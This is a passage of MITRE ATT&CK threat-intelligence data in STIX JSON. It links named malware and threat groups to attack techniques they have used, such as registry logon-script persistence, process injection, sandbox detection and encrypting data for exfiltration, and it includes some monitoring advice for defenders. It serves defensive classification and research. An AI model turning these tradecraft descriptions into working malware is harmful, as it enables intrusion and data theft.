"relationship--293f103b-ab5f-46ee-b51e-c111370f3b79", "type": "relationship", "created": "2019-09-13T13:17:26.266Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Machete Aug 2014", "url": "https://securelist.com/el-machete/66108/", "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019."}, {"description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.", "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html", "source_name": "Cylance Machete Mar 2017"}, {"source_name": "360 Machete Sep 2020", "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/", "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. 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Retrieved May 6, 2020."}], "modified": "2020-05-06T20:40:19.179Z", "description": "[Attor](https://attack.mitre.org/software/S0438)'s dispatcher can establish persistence via adding a Registry key with a logon script <code>HKEY_CURRENT_USER\\Environment \"UserInitMprLogonScript\" </code>.(Citation: ESET Attor Oct 2019)", "relationship_type": "uses", "source_ref": "malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa", "target_ref": "attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--29e9bfd8-e2d3-4e25-8683-6605d99538de", "type": "relationship", "created": "2020-08-31T15:06:48.172Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Gamaredon June 2020", "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/", "description": "Boutin, J. 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Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system. Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.", "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2a7307c0-7020-4fc1-9cec-183df4795d6e", "created": "2022-03-30T14:26:51.860Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant Cloudy Logs 2023", "description": "Pany, D. & Hanley, C. (2023, May 3). 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(2019, September 18). Malware Used by BlackTech after Network Intrusion. Retrieved May 6, 2020."}], "modified": "2020-07-07T14:05:07.560Z", "description": "[TSCookie](https://attack.mitre.org/software/S0436) has the ability to inject code into the svchost.exe, iexplorer.exe, explorer.exe, and default browser processes.(Citation: JPCert BlackTech Malware September 2019)", "relationship_type": "uses", "source_ref": "malware--76ac7989-c5cc-42e2-93e3-d6c476f01ace", "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--2a7bd59d-7905-44ae-9134-1601e636f73f", "created": "2022-06-09T15:54:16.089Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Palo Alto Unit 42 OutSteel SaintBot February 2022 ", "url": "https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/", "description": "Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Ember Bear](https://attack.mitre.org/groups/G1003) has obtained and used open source scripts from GitHub.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 ) ", "modified": "2022-06-09T15:54:16.089Z", "relationship_type": "uses", "source_ref": "intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9", "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2a7cd52f-46e5-4a18-bdf6-4c38edfcb97c", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto OilRig May 2016", "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"}], "modified": "2020-03-16T16:55:40.062Z", "description": "[Helminth](https://attack.mitre.org/software/S0170) establishes persistence by creating a shortcut in the Start Menu folder.(Citation: Palo Alto OilRig May 2016)", "relationship_type": "uses", "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2a7d01e9-9c42-4d17-947a-629ca7a9d515", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html", "description": "Falcone, R., et al.. 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(2018, November 12). Operation Shaheen. Retrieved May 1, 2019.", "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517", "source_name": "Cylance Shaheen Nov 2018"}], "modified": "2019-06-12T19:55:21.940Z", "description": "[The White Company](https://attack.mitre.org/groups/G0089) has checked for specific antivirus products on the target\u2019s computer, including Kaspersky, Quick Heal, AVG, BitDefender, Avira, Sophos, Avast!, and ESET.(Citation: Cylance Shaheen Nov 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--6688d679-ccdb-4f12-abf6-c7545dd767a4", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2a8f0313-4059-42b9-b487-6c8f860588c0", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Sednit Part 2", "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"}], "modified": "2020-03-30T01:44:20.227Z", "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) encrypts with the 3DES algorithm and a hardcoded key prior to exfiltration.(Citation: ESET Sednit Part 2)", "relationship_type": "uses", "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2a93ea80-d0f6-4b81-887d-8911f7573245", "created": "2017-05-31T21:33:27.061Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "SecureWorks BRONZE UNION June 2017", "description": "Counter Threat Unit Research Team. (2017, June 27). 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Retrieved July 9, 2019.", "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/"}, {"source_name": "Securelist LuckyMouse June 2018", "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.", "url": "https://securelist.com/luckymouse-hits-national-data-center/86083/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-29T14:39:17.535Z", "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used DLL side-loading, including by using legitimate Kaspersky antivirus variants as well as `rc.exe`, a legitimate Microsoft Resource Compiler.(Citation: Dell TG-3390)(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Securelist LuckyMouse June 2018)(Citation: Unit42 Emissary Panda May 2019)(Citation: Lunghi Iron Tiger Linux)", "relationship_type": "uses", "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2a94575a-8e47-4d69-964b-f96210a673bd", "type": "relationship", "created": "2020-03-18T18:14:53.814Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "fsecure NanHaiShu July 2016", "description": "F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.", "url": "https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf"}], "modified": "2020-06-23T20:05:03.359Z", "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) executes additional Jscript code on the victim's machine.(Citation: fsecure NanHaiShu July 2016)", "relationship_type": "uses", "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2", "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2a945fce-862b-46ff-8ee5-b78b220803f3", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT Volgmer 2 Nov 2017", "description": "US-CERT. (2017, November 01). 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The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020.", "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-29T18:13:21.441Z", "description": "[Melcoz](https://attack.mitre.org/software/S0530) has been distributed through an AutoIt loader script.(Citation: Securelist Brazilian Banking Malware July 2020)", "relationship_type": "uses", "source_ref": "malware--d3105fb5-c494-4fd1-a7be-414eab9e0c96", "target_ref": "attack-pattern--3a32740a-11b0-4bcf-b0a9-3abd0f6d3cd5", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--2a9fde8d-dbec-42e9-ad73-02f80e765a91", "created": "2021-11-16T15:32:34.178Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "MSTIC FoggyWeb September 2021", "url": "https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/", "description": "Ramin Nafisi. (2021, September 27). FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor. Retrieved October 4, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[FoggyWeb](https://attack.mitre.org/software/S0661) can use a dynamic XOR key and a custom XOR methodology to encode data before exfiltration. Also, [FoggyWeb](https://attack.mitre.org/software/S0661) can encode C2 command output within a legitimate WebP file.(Citation: MSTIC FoggyWeb September 2021)", "modified": "2022-04-16T01:30:11.204Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--72911fe3-f085-40f7-b4f2-f25a4221fe44", "target_ref": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2aa0dea4-ca6d-4095-8c20-9250308c3315", "type": "relationship", "created": "2020-11-06T18:40:38.284Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf", "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", "source_name": "cobaltstrike manual"}, {"source_name": "Amnesty Intl. Ocean Lotus February 2021", "url": "https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf", "description": "Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021."}, {"source_name": "Cobalt Strike Manual 4.3 November 2020", "url": "https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf", "description": "Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}], "modified": "2021-10-18T19:51:49.565Z", "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can track key presses with a keylogger module.(Citation: cobaltstrike manual)(Citation: Amnesty Intl. Ocean Lotus February 2021)(Citation: Cobalt Strike Manual 4.3 November 2020)", "relationship_type": "uses", "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2ab707bc-9e11-4b6e-858f-c1576f9fc3a0", "type": "relationship", "created": "2019-01-30T15:43:19.407Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "McAfee Oceansalt Oct 2018", "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf", "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018."}], "modified": "2019-02-12T21:14:11.183Z", "description": "[OceanSalt](https://attack.mitre.org/software/S0346) can collect the victim\u2019s IP address.(Citation: McAfee Oceansalt Oct 2018)", "relationship_type": "uses", "source_ref": "malware--288fa242-e894-4c7e-ac86-856deedf5cea", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2abdb5f5-6ff1-4f05-b925-429595011475", "type": "relationship", "created": "2020-05-06T21:31:07.610Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Okrum July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf", "description": "Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}], "modified": "2020-05-06T21:31:07.610Z", "description": "[Okrum](https://attack.mitre.org/software/S0439)'s loader can detect presence of an emulator by using two calls to GetTickCount API, and checking whether the time has been accelerated.(Citation: ESET Okrum July 2019)", "relationship_type": "uses", "source_ref": "malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83", "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2ad63ab0-fb5b-4bce-8bbb-bf765d324fd6", "type": "relationship", "created": "2020-11-12T17:35:02.698Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Brazilian Banking Malware July 2020", "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}], "modified": "2020-11-12T17:35:02.698Z", "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can obtain C2 information from Google Docs.(Citation: Securelist Brazilian Banking Malware July 2020)", "relationship_type": "uses", "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", "target_ref": "attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2ad83456-5794-44d5-bfd1-3c51b2925c01", "type": "relationship", "created": "2021-01-20T18:48:26.482Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCC Group Chimera January 2021", "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."}], "modified": "2021-03-04T22:05:10.422Z", "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used [Cobalt Strike](https://attack.mitre.org/software/S0154) C2 beacons for data exfiltration.(Citation: NCC Group Chimera January 2021) ", "relationship_type": "uses", "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2add2e31-58af-4e52-bdd7-5ddd295656a3", "type": "relationship", "created": "2022-03-30T14:26:51.856Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.856Z", "description": "Monitor for newly constructed logon behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) ", "source_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", "target_ref": "attack-pattern--f4c1826f-a322-41cd-9557-562100848c84", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TechNet Audit Policy", "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.", "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx"}]}, {"type": "relationship", "id": "relationship--2ade8c03-2395-4175-9a22-8541836f27cd", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "PWC Cloud Hopper Technical Annex April 2017", "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", "url": "https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-23T15:14:18.609Z", "description": "[ChChes](https://attack.mitre.org/software/S0144) can alter the victim's proxy configuration.(Citation: PWC Cloud Hopper Technical Annex April 2017)", "relationship_type": "uses", "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2ae5b107-c648-45d4-9930-dcc42adac2c3", "type": "relationship", "created": "2021-08-19T18:19:50.336Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bitdefender Naikon April 2021", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf", "description": "Vrabie, V. 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Evolution of Trickbot. Retrieved July 31, 2018.", "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"}, {"source_name": "Joe Sec Trickbot", "url": "https://www.joesecurity.org/blog/498839998833561473", "description": "Joe Security. (2020, July 13). TrickBot's new API-Hammering explained. Retrieved September 30, 2021."}], "modified": "2021-10-01T14:12:53.053Z", "description": "[TrickBot](https://attack.mitre.org/software/S0266) uses the Windows API call, CreateProcessW(), to manage execution flow.(Citation: S2 Grupo TrickBot June 2017) [TrickBot](https://attack.mitre.org/software/S0266) has also used <code>Nt*</code> API functions to perform [Process Injection](https://attack.mitre.org/techniques/T1055).(Citation: Joe Sec Trickbot)", "relationship_type": "uses", "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2af3c673-c0c6-4246-aacc-984eb370e7b9", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.youtube.com/watch?v=fevGZs0EQu8", "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", "source_name": "Mandiant FIN5 GrrCON Oct 2016"}], "modified": "2020-03-16T23:51:43.031Z", "description": "[FIN5](https://attack.mitre.org/groups/G0053) scripts save memory dump data into a specific directory on hosts in the victim environment.(Citation: Mandiant FIN5 GrrCON Oct 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2af5de71-33c3-49d2-9f3e-4fd90919e228", "type": "relationship", "created": "2021-08-02T15:48:34.047Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MSTIC Nobelium Toolset May 2021", "url": "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/", "description": "MSTIC. (2021, May 28). Breaking down NOBELIUM\u2019s latest early-stage toolset. Retrieved August 4, 2021."}], "modified": "2021-08-04T13:54:53.441Z", "description": "[EnvyScout](https://attack.mitre.org/software/S0634) has been executed through malicious files attached to e-mails.(Citation: MSTIC Nobelium Toolset May 2021)", "relationship_type": "uses", "source_ref": "malware--2f8229dc-da94-41c6-89ba-b5b6c32f6b7d", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2af8a4f4-fcac-4081-86f9-ba74140580dc", "type": "relationship", "created": "2019-04-19T15:28:04.404Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft FinFisher March 2018", "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/"}], "modified": "2020-03-27T23:05:53.649Z", "description": "[FinFisher](https://attack.mitre.org/software/S0182) obtains the hardware device list and checks if the MD5 of the vendor ID is equal to a predefined list in order to check for sandbox/virtualized environments.(Citation: Microsoft FinFisher March 2018)", "relationship_type": "uses", "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2b00f3f4-ddde-4874-8315-5a5c5d671a33", "type": "relationship", "created": "2020-08-13T14:05:44.328Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Secureworks Karagany July 2019", "url": "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector", "description": "Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."}], "modified": "2020-08-13T14:05:44.328Z", "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can base64 encode and AES-128-CBC encrypt data prior to transmission.(Citation: Secureworks Karagany July 2019)", "relationship_type": "uses", "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2b05b960-103a-4922-a8e3-49378bf827bf", "type": "relationship", "created": "2022-03-30T14:26:51.846Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.846Z", "description": "Monitor for newly constructed files to match an existing service executable, it could be detected and correlated with other suspicious behavior.  ", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--70d81154-b187-45f9-8ec5-295d01255979", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2b062058-3345-4993-9715-6ad6e98dc2ad", "type": "relationship", "created": "2020-05-06T17:47:43.700Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "JPCert TSCookie March 2018", "url": "https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html", "description": "Tomonaga, S. (2018, March 6). Malware \u201cTSCookie\u201d. Retrieved May 6, 2020."}], "modified": "2020-05-06T17:47:43.700Z", "description": "[TSCookie](https://attack.mitre.org/software/S0436) has the ability to decrypt, load, and execute a DLL and its resources.(Citation: JPCert TSCookie March 2018)", "relationship_type": "uses", "source_ref": "malware--76ac7989-c5cc-42e2-93e3-d6c476f01ace", "target_ref": 